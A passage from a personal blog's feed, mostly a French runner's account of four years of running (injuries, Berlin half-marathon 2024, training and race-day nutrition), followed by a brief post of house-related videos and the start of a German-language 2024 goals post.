&lt;p&gt;En 2021, les choses un peu plus sérieuses commencent. Tout d'abord, le volume, on passe sur 219 kms sur l'année. Certes, ridicule pour tout coureur un tant soit peu sérieux, mais cumulés avec 4,513 kms de vélos, c'est une belle progression par rapport à l'année d'avant.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://romainpellerin.eu/images/lessons-learned-apres-4-ans-de-running/premier-semi-marathon.png" alt="Mon premier 10km" style="float:left" /&gt;&lt;/p&gt;
&lt;p&gt;2021 c'est aussi ma première blessure, une &lt;a href="https://romainpellerin.eu/shin-splints.html"&gt;périostite&lt;/a&gt;, qui aura duré 10 jours. Mais surtout, 2021 c'est mon premier semi marathon, couru tout seul, dans le parc d'à côté. &lt;a href="https://www.strava.com/activities/5368040239"&gt;21.03 kms pour être exact, couru en 1:59:41 d'après Strava&lt;/a&gt;. Bon c'est aussi ce run qui aura été la cause de ma périostite... Mais passons 😅.&lt;/p&gt;
&lt;p&gt;2021 c'est aussi quelques autres PR, dont &lt;a href="https://www.strava.com/activities/5179232149"&gt;mon premier 10 kms couru en moins de 50 minutes&lt;/a&gt;. Globalement cette année-là, j'ai commencé à courir régulièrement proche de 5' du kilomètre. Mais je n'avais aucun notion de plan d'entraînement, zones d'effort, etc. Je courrais au feeling, en essayant d'aller un peu plus vite de temps en temps.&lt;/p&gt;
&lt;h1 id="2022"&gt;2022&lt;/h1&gt;
&lt;p&gt;&lt;img src="https://romainpellerin.eu/images/lessons-learned-apres-4-ans-de-running/semi-marathon-2022.png" alt="Semi marathon de Berlin en 2022" style="float:right" /&gt;&lt;/p&gt;
&lt;p&gt;Bim, inscription au semi-marathon de Berlin ! &lt;a href="https://www.strava.com/activities/6924788837"&gt;Temps officiel, 2 hours 0 minutes 22 secondes.&lt;/a&gt; &lt;strong&gt;Premier learning cette année-là : que ce soit la montre ou Strava sur le téléphone, bref tout ce qui a un GPS, la distance affichée en fin de course sera légèrement plus longue que la distance officielle de la course.&lt;/strong&gt; Bon à savoir, lorsque l'on vise un temps ou un pace précis. Les 22 secondes, je m'en serais bien passées 😁.&lt;/p&gt;
&lt;p&gt;Une semaine avant le semi, je courrais 17 kms d'une traite. Ça, cumulés aux 21 kms de la semaine suivante, auront été sans pitié : deuxième blessure, ce coup-ci &lt;a href="https://romainpellerin.eu/plantar-fasciitis.html"&gt;une aponévrosite plantaire (ou fasciite plantaire)&lt;/a&gt;. &lt;strong&gt;Deuxième learning de cette année 2022 : une augmentation soudaine et significative du volume kilométrique hebdomadaire est un facteur de blessure très important !&lt;/strong&gt; En tout, je me serais traîné cette blessure pendant près de 2 ans. Aujourd'hui en 2024, plus aucune douleur dans le pied, ni au talon. Mais je pense en garder des traces à vie, de temps en temps je sens que le pied reste fragile, avec parfois des sensations de post-blessure dans le pied, après des grosses sorties. Mais pas des douleurs en soi. Bref.&lt;/p&gt;
&lt;p&gt;Retour en 2022. Après Avril et quelques tentatives de runs derrière, voyant que la douleur ne passait pas, je coupe complètement la course à pied pendant près de 3 mois. Semelles orthopédiques, séances de kiné, autant de tentatives vaines pour essayer de me soigner. La douleur persiste mais s'estompe un peu au fil des mois. Je recoure un peu pendant l'été. Re-coupure totale entre Septembre et Janvier 2023, puisque la douleur était toujours présente. Avec le recul et ce que j'ai appris depuis, &lt;strong&gt;couper totalement était sûrement une erreur.&lt;/strong&gt; Le mieux aurait été de continuer, et adapter le volume à la douleur, autrement dit stopper chaque sortie dès l'apparition de la douleur, ou alors s'autoriser des seuils de douleurs par exemple jusqu'à 3/10. Aussi, changer de chaussures, et tenter des chaussures plus maximalistes, le temps de la guérison, peut-être...&lt;/p&gt;
&lt;p&gt;2022, c'est aussi l'année où j'ai acheté ma première montre de course : la Garmin Forerunner 945.&lt;/p&gt;
&lt;p&gt;Résultats des courses sur 2022 :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Kms courus : 233&lt;/li&gt;
&lt;li&gt;Kms à vélo : 5,911 (dont &lt;a href="https://www.youtube.com/watch?v=mbuaO588suU"&gt;une première participation à l'Étape du Tour de France&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="2023"&gt;2023&lt;/h1&gt;
&lt;p&gt;2023 marque l'année de mon retour, ou plutôt l'année où j'ai pour la première fois pris la course à pied au sérieux, et ce dans la durée. Mais 2023 fût aussi une année à double vitesse, avec une première moitié dédiée au vélo, et une seconde à la course à pied.&lt;/p&gt;
&lt;p&gt;Début d'année, l'aponévrosite plantaire est toujours là mais moins forte. Douleur plus que tolérable, on dépasse rarement du 3 ou 4 sur 10. Les symptômes classiques s'estompent, en particulier la douleur dans le talon le matin au saut du lit.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://romainpellerin.eu/images/lessons-learned-apres-4-ans-de-running/semi-marathon-avril-2023.png" alt="Un semi marathon couru en solo, à l'improviste" style="float:left" /&gt;&lt;/p&gt;
&lt;p&gt;J'ai quand même suffisamment mal pour que cela me décourage de m'inscrire au semi Berlin. Cependant, le jour de la course, je décide toutefois de &lt;a href="https://www.strava.com/activities/8821142295"&gt;courir mon propre semi&lt;/a&gt;, à côté de chez moi dans un parc, juste pour la forme. Bonnes sensations pendant la course, pas de douleur. Mais les jours suivants, la douleur revient un peu plus qu'à l'accoutumée. Pas encore fixed le man... Dommage, ça me calme pour quelques semaines&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/lessons-learned-apres-4-ans-de-running/semi-marathon-avril-2023-moi.jpg" alt="Moi qui cours" /&gt;
&lt;figcaption&gt;Photo prise lors de mon semi improvisé, le même jour que le semi officiel de Berlin. Avril 2023.&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Presque pas de course à pied jusqu'au triathlon de Berlin, début Juin. Un peu moins de 5 kms courus à 5'09 du kilo, pas dinguo. Mais il faut croire que ça aura été un electro-choc, car après cette épreuve, je reprends la course de manière sérieuse et durable. Je laisse d'abord passer les mois de Juin et Juillet, focalisé à m'entraîner pour 2 courses de vélo : &lt;a href="https://www.strava.com/activities/9373462606"&gt;Velocity à Berlin&lt;/a&gt;, et &lt;a href="https://www.youtube.com/watch?v=5HFE9ff-L7o"&gt;l'Étape du Tour 2023&lt;/a&gt;. Mais dès Août, focus shift sur la course à pied !&lt;/p&gt;
&lt;p&gt;Et à partir de maintenant, on rigole plus ! Tout d'abord, &lt;a href="https://romainpellerin.eu/objectif-75-kg-et-toucher-le-sol.html"&gt;gros changements côté alimentation, et perte de 5 kgs&lt;/a&gt;. En parallèle, je commence à &lt;a href="https://romainpellerin.eu/running-and-pronation.html"&gt;me renseigner un peu plus sur la course à pied&lt;/a&gt;. J'en conclus qu'il me faut des nouvelles chaussures. Bim, j'achète presque coup-sur-coup les Asics Gel Kayano 29 puis 30, ma première paire de Gel-Kayano 29 étant en fait trop petite — oui, je découvre aussi à cette époque qu'&lt;strong&gt;il vaut mieux acheter des chaussures une demi pointure, voire une pointure plus longue, car les pieds "s'agrandissent" pendant une sortie&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;J'entreprends de commencer du renforcement musculaire et notamment de faire le protocole de Stanish plusieurs fois par semaine. De ce que j'ai lu sur Internet, c'est souvent recommandé pour combattre les fasciites plantaires.&lt;/p&gt;
&lt;p&gt;Fin 2023, c'est aussi la période où je commence à m'intéresser aux plans d'entrainement et aux zones et types d'effort. D'abord, je commence par suivre bêtement les recommandations de workout de ma montre Garmin, de temps en temps, chose que j'avais ignorée jusque-là. Plus tard, début 2024, je finirai par suivre mon premier vrai plan. Je commence à courir "en endurance fondamentale", nouveau terme ajouté à mon lexique du coureur.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://romainpellerin.eu/images/lessons-learned-apres-4-ans-de-running/semi-marathon-decembre-2023.png" alt="Semi marathon improvisé couru en Décembre 2023" style="float:right" /&gt;&lt;/p&gt;
&lt;p&gt;Cette fin d'année 2023 se passe tellement bien que le 16 décembre, hop là &lt;a href="https://www.strava.com/activities/10389793081"&gt;un autre semi totalement improvisé couru dans le parc à côté, en 1:53:57&lt;/a&gt; s'il vous plait ! Et inscription pour le semi-marathon de Berlin en 2024 😃.&lt;/p&gt;
&lt;p&gt;Bilan de 2023 :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Kms courus : 361 (dont les trois quarts courus après Juillet)&lt;/li&gt;
&lt;li&gt;Kms à vélo : 6,133&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="2024"&gt;2024&lt;/h1&gt;
&lt;p&gt;L'année commence sur les chapeaux de roues. Augmentation progressive de mon volume hebdomadaire, avec certaines semaines atteignant les 40 kms.&lt;/p&gt;
&lt;p&gt;Tout d'abord, je décide de suivre un vrai plan d'entraînement. Fini l'improvisation, je m'inscris sur &lt;a href="https://www.campus.coach/"&gt;Campus&lt;/a&gt;, avec comme premier objectif de l'année le semi marathon de Berlin en Avril. Je découvre le fractionné et les sorties seuil. Rapidement, je rajoute 2 autres gros objectifs : &lt;a href="https://romainpellerin.eu/ziele-fuer-2024.html"&gt;un 25 kms en Mai, et un full marathon en fin d'année&lt;/a&gt; ! 😱&lt;/p&gt;
&lt;p&gt;Février : vacances de ski. Quelques jours après, blessure lors d'une sortie longue de 11 kms en endurance fondamentale 😬. Pied gauche (encore !). Cette fois-ci, quelque chose de nouveau : une sorte de douleur à l'intérieur du pied vers l'avant, avant les orteils. La douleur apparait dès que je marche ou coure après quelques minutes, et est très prononcée dès que j'essaie de lever les orteils vers le haut. Je coupe la course à pied 3 jours, la douleur disparaît à 100%. Je reprends la course...&lt;/p&gt;
&lt;p&gt;Mars : rebelote, après une journée de ski et un run de 8 kms le soir-même, la douleur revient subitement, et beaucoup plus fort. Les 3 ou 4 jours suivants, passés à skier mais sans running, m'auront fait souffrir, les chaussures de ski n'aidant pas à coup sûr. En rentrant, je coupe la course à pied 2 jours puis reprends progressivement, en décidant d'interrompre chaque sortie dès que mon seuil de douleur atteignait 3 ou 4 sur 10. &lt;a href="https://lacliniqueducoureur.com/coureurs/je-suis-blesse/blessure-au-pied/pathologies/"&gt;Quelques recherches sur Internet&lt;/a&gt; me font penser soit à une fracture de stress métatarsienne, soit une métatarsalgie, ou une inflammation/tendinite au niveau des muscles releveurs du pied. Je décide de prendre RDV pour une IRM (toujours pas faite au moment où j'écris cet article). Finalement, 10 jours plus tard, la douleur disparaît complètement. Ma conclusion : courir et skier ne font pas bon ménage dans mon cas, ou alors je serrais trop mes chaussures de ski au niveau du dessus du pied, ce qui a fragilisé cette zone ? Quelque chose qui a aidé à la guérison (ou qui l'a accélérée ? ou alors effet placebo ?) est le fait &lt;strong&gt;d'avoir desserré mes lacets de chaussure de course&lt;/strong&gt; par la suite. Depuis toujours j'avais l'habitude de plutôt bien les serrer, je sais pas trop pourquoi. Mes chaussures sont maintenant beaucoup moins serrées, de sorte à ce que je n'ai presque pas besoin de chausse-pied pour les enfiler (je les garde lacées en permanence).&lt;/p&gt;
&lt;p&gt;Après ces 2 mini-blessures, on reprend de plus belle.&lt;/p&gt;
&lt;p&gt;Je commence à passer des heures à n'en plus finir sur Youtube, à regarder plein de vidéos sur la course. Voici mon top des chaînes et podcasts français sur la course, par ordre de préférence :&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/@michelarmandy"&gt;Run Academy TV&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/@RunningAddict"&gt;Running Addict&lt;/a&gt; (ceux derrière Campus.coach)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/@RunWise_"&gt;RunWise&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://rmc.bfmtv.com/podcasts/rmc-running/"&gt;Podcast RMC Running&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.danslateteduncoureur.fr/"&gt;Dans la tête d'un coureur&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Je me documente notamment sur comment bien gérer une course, toujours en ayant en tête le semi de Berlin, prévu pour Avril :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=NcsLdBeuwfw"&gt;Les Mystères de la Performance en Course à Pied Enfin Révélés ! Un vrai guide de ce qu'il faut faire&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=qxr-mcilVB0"&gt;Marathon , que faire la dernière semaine ?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=tT1ZQLQ_qLQ"&gt;Le pire et le meilleur coureur de Marathon dans une seule Vidéo ! Indispensable !!&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=2Nenxk8hM8s"&gt;Le guide indispensables des 48 heures avant votre Marathon pour reussir la course idéale&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=xESIO-LcBJI"&gt;Il est encore temps d'éviter ces erreurs... MARATHON DE PARIS 2024&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=iUMqQKBvUIQ"&gt;On débunke 10 idées reçues sur le running avec Blaise Dubois ! - DLTDC x La Clinique du Coureur&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=Ci4-5sU6ouc"&gt;Tout ce qu’il faut savoir 15 jours avant ton marathon ✅&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src="https://romainpellerin.eu/images/lessons-learned-apres-4-ans-de-running/semi-2024-test.png" alt="Sortie test en vue du semi de Berlin 2024" style="float:left" /&gt;&lt;/p&gt;
&lt;p&gt;2 semaines avant la course, &lt;a href="https://www.strava.com/activities/11029527217"&gt;sortie test&lt;/a&gt; pour m'essayer à une allure de 4'55"/km pour le jour J mais aussi pour valider la tenue que je porterai. Finalement je finis en 4'53"/km et au vue de ma forme, décide que 4'50" me semble atteignable le jour de la course. J'en profite aussi pour tester le ravitaillement à allure, avec des gels Maurten. All good 👌✅.&lt;/p&gt;
&lt;p&gt;La semaine qui précède, la pression monte, je trouve le sommeil de moins en moins facilement 😅. Je décide de noter tout ce que je dois faire d'ici à la course, afin d'au moins m'enlever le stress d'oublier quelque chose. Je commence par planifier ma semaine d'avant course :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Réduction du volume d'entrainement&lt;/li&gt;
&lt;li&gt;Je cale toutes mes heures de levé le matin cette semaine-là sur la même heure à laquelle je me lèverai le jour de la course&lt;/li&gt;
&lt;li&gt;Recharge glucidique les 2 ou 3 jours qui précèdent (jeudi au samedi) mais en y allant mollo le samedi quand même, pour pas être chargé le dimanche. Surtout, éviter les fibres (dont les pâtes complètes) le samedi pour &lt;a href="https://joliefoulee.fr/caca-course-a-pied-2/"&gt;s'assurer une course sans problème 😁&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;S'hydrater le vendredi et le samedi matin (boire plus que d'habitude). &lt;strong&gt;Arrêter de trop boire dès le samedi midi, pas comme j'ai fait... pour éviter de devoir aller aux toilettes la nuit du samedi au dimanche...&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Se couper les ongles des pieds plusieurs jours avant pour éviter de les casser ou de se faire mal. À ne pas faire la veille au soir, pour éviter les surprises !&lt;/li&gt;
&lt;li&gt;J'irai récupérer mon dossard le vendredi, pour éviter la foule le samedi.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Je mets aussi au point ma stratégie de nutrition, après avoir lu &lt;a href="https://www.maurten.com/fuelguide/half-marathon"&gt;les recommandations de Maurten&lt;/a&gt; : ça sera 1 Gel 100 Caf 15 minutes avant le départ, et 2 Gel 100 classiques pendant la course. Un au km 9.5, un au km 14.5, soit à chaque fois 1 km avant un ravitaillement d'eau, pour pouvoir "se rincer la bouche" après le gel et éviter cette sensation d'après gel pas forcément agréable. Je regarde quels autres ravitaillements en eau sont intéressants mais je décide de volontairement éviter les ravitaillements en nourriture, pour éviter tout problème gastrique qui pourrait être entraîné par un produit inconnu. Car oui, règle numéro un de la course : &lt;strong&gt;ne jamais tester de la nourriture, une boisson, des chaussures ou des vêtements de course pour la première fois le jour d'une course.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Je mets également au point une stratégie de course. Comme recommandé par Michel, de &lt;a href="https://www.youtube.com/@michelarmandy"&gt;Run Academy TV&lt;/a&gt;, je me fixe plusieurs objectifs, pour éviter la déception.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Premier objectif : moins de 1 heure 40. Ambitieux. Je me dis que je vais commencer par faire les 11 premiers kms à 4'50" et tenter d'accélérer dans la seconde moitié de course (et faire ce qu'on appelle un &lt;em&gt;negative split&lt;/em&gt;).&lt;/li&gt;
&lt;li&gt;Second objectif : moins de 1 heure 45. Réaliste.&lt;/li&gt;
&lt;li&gt;Troisième objectif : finir 😆.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src="https://romainpellerin.eu/images/lessons-learned-apres-4-ans-de-running/race-predictor.jpg" alt="Race predictor" style="float:right" /&gt;&lt;/p&gt;
&lt;p&gt;À noter que la veille de la course, ma montre me prédisait un temps au semi de 1:38:11, basé sur mes health data et récentes sorties. On verra si la montre avait vu juste... 🙈&lt;/p&gt;
&lt;p&gt;Veille de course, pour éviter tout stress, je prépare tout, j'accroche le dossard, je prépare même mon petit dej du lendemain en faisant cuire mes pâtes ! On n'oublie pas de charger la montre, bien sûr.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/lessons-learned-apres-4-ans-de-running/veille-de-course.jpg" alt="Affaires prêtes" /&gt;
&lt;figcaption&gt;Dossard accroché, affaires prêtes.&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Finalement... le 7 avril 2024 arrive. Réveil 2 heures avant le début de course après une nuit un peu courte, petit déjeuner léger (40g de pâtes pesto déjà cuites la veille au soir, 2 ou 3 barres, une banane et un café). Avant de partir, je me note au marqueur dans la main quelques infos qui me seront utiles avant la course, mais aussi quand la lucidité viendra à manquer 😅.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/lessons-learned-apres-4-ans-de-running/notes-main.jpg" alt="Quelques notes dans ma main" /&gt;
&lt;figcaption&gt;Je m'étais noté de prendre un gel dans les 5 dernières minutes avant le départ de la course, au lieu de 15. Et les 4'30" était un pace visé pour la seconde moitié de course.&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Je me remémore 2 ou 3 astuces données par Michel, notamment :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Ne pas se jeter sur la première table lors des ravitaillements, surpeuplée, mais aller plutôt vers les tables du fond où il y a moins de monde&lt;/li&gt;
&lt;li&gt;S'échauffer en courant un peu avant le départ, et sauter sur place dans son sas pour garder le rythme cardiaque élevé juste avant le départ&lt;/li&gt;
&lt;li&gt;Ne pas partir trop vite, respecter son allure prévue dès le début&lt;/li&gt;
&lt;li&gt;Si positionné dans un sas plus rapide que son objectif, partir en fin de sas. Ce n'était pas mon cas, je devais donc me positionner en début de sas, chose que j'ai réussi à faire.&lt;/li&gt;
&lt;li&gt;Quand maintenir un bon pace deviendra dur en fin de course, se fixer des mini objectifs sur un km. "Allez, encore un km à ce pace". Et arrivé en fin de km, se dire la même chose jusqu'au km d'après. Et répéter jusqu'à l'arrivée.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Arrivé dans mon sas, je paramètre ma montre sur "objectif de pace sur distance". Je mets 4'50" sur 21.4 kms, car oui, quand je franchirai la ligne, ma montre affichera à coup sûr plus de 21.0975 kms. Voulant courir à 4'50", rythme de ma montre, c'est ce que je devais faire. Ça se traduirait sûrement par du 4'52" au temps officiel.&lt;/p&gt;
&lt;p&gt;Et puis... &lt;a href="https://www.strava.com/activities/11127929422"&gt;c'est le départ !&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="En pleine course" src="https://romainpellerin.eu/images/lessons-learned-apres-4-ans-de-running/race1.jpg"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://romainpellerin.eu/images/lessons-learned-apres-4-ans-de-running/pace.png" alt="Paces lors du semi marathon de Berlin en 2024" style="float:left" /&gt;&lt;/p&gt;
&lt;p&gt;Globalement, la course se passe très bien. Je respecte à la lettre les 4'50". Je fais tous les ravitos prévus, même un de plus au km 5, car il fait chaud. Manque de pot, ils ne servent pas de l'eau claire mais un energy drink de Maurten. Pas aussi désaltérant, tant pis.&lt;/p&gt;
&lt;p&gt;Arrivé au km 10, je tente une accélération. Ça fonctionne. Hormis sur 2 splits, je fais maintenant chaque km sous les 4'50". La coeur restera haut tout du long de la course, avec une moyenne à 183 bpm. La course se passe extrêmement bien jusqu'au km 17, où là ça commence à vraiment devenir difficile. On est dans des rues que je connais par coeur, je visualise le chemin restant jusqu'à l'arrivée. Ça semble interminable, alors on débranche le cerveau. J'aperçois un ravito, je l'avais pas prévu dans mon plan, mais j'ai soif. Je décide d'attraper un gobelet, mais comme d'habitude pas sur les premières tables, trop bondées. J'attends les dernières tables, je saisis ce qu'on me tend, meeerde c'est une banane, pas de l'eau, shit ! 🍌💩&lt;/p&gt;
&lt;p&gt;Beaucoup de gens, les rues deviennes plus étroites à mesure qu'on approche de la fin. Un mec me tape dans le pied alors qu'on essaie tous les 2 de dépasser quelqu'un. Je vacille, manque de tomber mais ça passe. Eye contact, le mec s'excuse, tout va bien. Une espagnole se met à mon niveau, haletante, poussant des cris à chaque expiration, comme sur un court de tennis. Je me dit que ça va être long de supporter ça, mais elle est plus rapide que moi et finit par me distancer. Sprint final dans le dernier kilomètre (km 21 couru à 4'24" !), au loin j'aperçois la porte de Brandebourg. Au détour d'un virage, ma copine me hurle dessus pour m'encourager, je mets 2 secondes à comprendre. Plus que 200m, 100m... je me répète "aucun regret, donne tout !", je traverse la porte de Brandebourg, 50m... on fait le fier pour la photo finish, "lève les bras, ça fera stylé !"... et c'est fini ! &lt;strong&gt;Résultat : 1:41:51.&lt;/strong&gt; PR 🎉.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Finish line" src="https://romainpellerin.eu/images/lessons-learned-apres-4-ans-de-running/race2.jpg"&gt;&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/lessons-learned-apres-4-ans-de-running/semi-marathon-2024.png" alt="Semi marathon de Berlin en 2024" /&gt;
&lt;figcaption&gt;Semi de Berlin 2024 sur Strava.&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Pendant les jours qui ont précédé ce semi, j'ai fait beaucoup de recherches sur la course à pied, les chaussures, la foulée. J'ai découvert &lt;a href="https://lacliniqueducoureur.com/"&gt;la clinique du coureur&lt;/a&gt;, et j'ai notamment écouté l'un des meilleurs podcasts ever sur la course : &lt;a href="https://www.youtube.com/watch?v=lRtEr1NMnew"&gt;Plaques carbones inutiles, le fameux 180 pas par minute : Blaise Dubois démonte des mythes !&lt;/a&gt;. Ce que j'en retiens ?&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Chaussures plus légères = meilleures performances&lt;/strong&gt;, consensus scientifique sur ça.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Le volume kilométrique est la clé du succès d'une préparation&lt;/strong&gt;, &lt;a href="https://www.youtube.com/watch?v=WnZN6yMSfZ8"&gt;c'est le plus gros facteur&lt;/a&gt;. Mais il faut être progressif, on ne se met pas à courir 100 kms par semaine du jour au lendemain. Changer son volume soudainement = blessure presque garantie. 80% du volume couru sur une semaine devrait d'ailleurs l'être en endurance fondamentale. Les 20% restants seront des séances dites "de qualité", où l'on travaillera des allures, du seuil, fera du fractionné, etc.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://www.youtube.com/watch?v=_KGDiaxj4ew&amp;amp;t=2734"&gt;Il faut mettre 6 heures entre 2 runs sur une même journée&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://www.youtube.com/watch?v=_KGDiaxj4ew&amp;amp;t=2527s"&gt;Il est meilleur de courir 5 fois ou plus par semaine, que moins&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Il vaut courir autour de 180 pas par minute (plus ou moins) en faisant le moins de bruit possible, avec des chaussures auxquelles on est habitué&lt;/strong&gt;. Qu'il s'agisse de minimalistes ou maximalistes n'a à priori pas d'impact sur la performance, pour peu que l'on soit habitué à ces chaussures, seul le poids en a réellement.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Tous ces bullet points sont résumés en 1 minute, dans &lt;a href="https://www.youtube.com/watch?v=_KGDiaxj4ew&amp;amp;t=4194s"&gt;cette vidéo&lt;/a&gt;, à partir de 1:09:54.&lt;/p&gt;
&lt;p&gt;Par contre, peu ou pas de consensus sur le type de foulée, la longueur, le nombre de pas exact, le meilleur type de chaussures (maximaliste ou minimaliste), les plaques carbones, etc. Mais plutôt des observations, des tendances et des conseils. Par exemple, les chaussures maximalistes ont tendance à changer notre bio-mécanique (donc notre foulée), favorisant une attaque talon. Les chaussures minimalistes peuvent aider à prévenir les blessures sur le long terme, lorsqu'on est habitué à courir en minimaliste. Mais on ne passe pas de maximaliste à minimaliste du jour au lendemain, sinon blessure ! La clinique du coureur propose d'ailleurs un indice de minimalisme pour les chaussures les plus courantes, sur leur site. Courir tous les jours peut aussi aider à prévenir les blessures, à l'inverse de quelques fois par semaine.&lt;/p&gt;
&lt;p&gt;J'ai aussi pu voir dans &lt;a href="https://www.youtube.com/watch?v=RasKAZiq5AA&amp;amp;t=801s"&gt;une autre vidéo qu'il est important de travailler l'allure spécifique dans les 30 derniers pour cents d'une préparation, et de ne pas axer aveuglement sa préparation que sur la VMA&lt;/a&gt;, car c'est une indicateur loin d'être parfait. Enfin, &lt;a href="https://www.youtube.com/watch?v=ATv0jdgXQLA"&gt;je me suis intéressé un peu à ma foulée, et comment essayer de l'améliorer&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;BREF&lt;/strong&gt;. Ça fait que 3 mois et demi que l'année est commencée, et j'ai déjà appris tellement de choses. Kms so far : 327. ✌&lt;/p&gt;</content><category term="Running"></category><category term="running"></category></entry><entry><title>La Maison Individuelle</title><link href="https://romainpellerin.eu/la-maison-individuelle.html" rel="alternate"></link><published>2024-02-28T12:00:00+01:00</published><updated>2024-07-04T10:48:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2024-02-28:/la-maison-individuelle.html</id><summary type="html">&lt;p&gt;Des vidéos sur la maison individuelle&lt;/p&gt;</summary><content type="html">&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/cGLV1eX9Rw0" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen&gt;&lt;/iframe&gt;

&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/9HJ4rc_Gxmw" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen&gt;&lt;/iframe&gt;

&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/_-gsCVB99u8" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen&gt;&lt;/iframe&gt;

&lt;p&gt;&lt;a href="https://www.france.tv/france-2/envoye-special/5404416-maison-la-fin-d-un-reve.html"&gt;Envoyé spécial - Maison, la fin d'un rêve ?&lt;/a&gt;&lt;/p&gt;</content><category term="What's bad about"></category><category term="maison"></category><category term="home"></category></entry><entry><title>Ziele für 2024</title><link href="https://romainpellerin.eu/ziele-fuer-2024.html" rel="alternate"></link><published>2024-02-18T15:00:00+01:00</published><updated>2024-02-18T15:00:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2024-02-18:/ziele-fuer-2024.html</id><summary type="html">&lt;p&gt;Dieses Jahr ist mein Jahr&lt;/p&gt;</summary><content type="html">&lt;p&gt;Hier ist er! Mein ester Artikel auf Deutsch. Für ein sehr besonderes Jahr.&lt;/p&gt;
&lt;p&gt;In die letzte Jahre habe ich mich auf Renrad fahren konzentriert. Seit letzes Jahr mache ich mehr: Laufen, Schwimmen, Gewichtheben.&lt;/p&gt;
&lt;p&gt;Dieses Jahr, ich will ein Läufer werden. Und ich will auch mein Deutsch verbessern. 😁 Sooo hier ist mein Plan, und meine 3 Ziele für 2024:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Erreichen dem Niveau B2 auf Deutsch 😱&lt;/li&gt;
&lt;li&gt;Beenden ein Marathon 😱&lt;/li&gt;
&lt;li&gt;Ein Sixpack zu bekommen 😂 (ich bin seriös!)&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;p&gt;Last year in August, &lt;a href="https://romainpellerin.eu/objectif-75-kg-et-toucher-le-sol.html"&gt;I set 2 goals for myself&lt;/a&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Lose weight down to 75kg while losing mostly fat and trying to gain muscle (body recomposition): ✅&lt;/li&gt;
&lt;li&gt;Improve my flexibility and reach my toes with my fingers: ✅&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This year, I'm aiming bigger. 2 months ago, to work towards these goals, I created weekly goals for myself. After trialing them for many weeks, I've been able to identify what works for me and what's unrealistic, and correct some of them. Here they are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;🏊 Swim 1k (just so that I don't drown in my next triathlon)&lt;/li&gt;
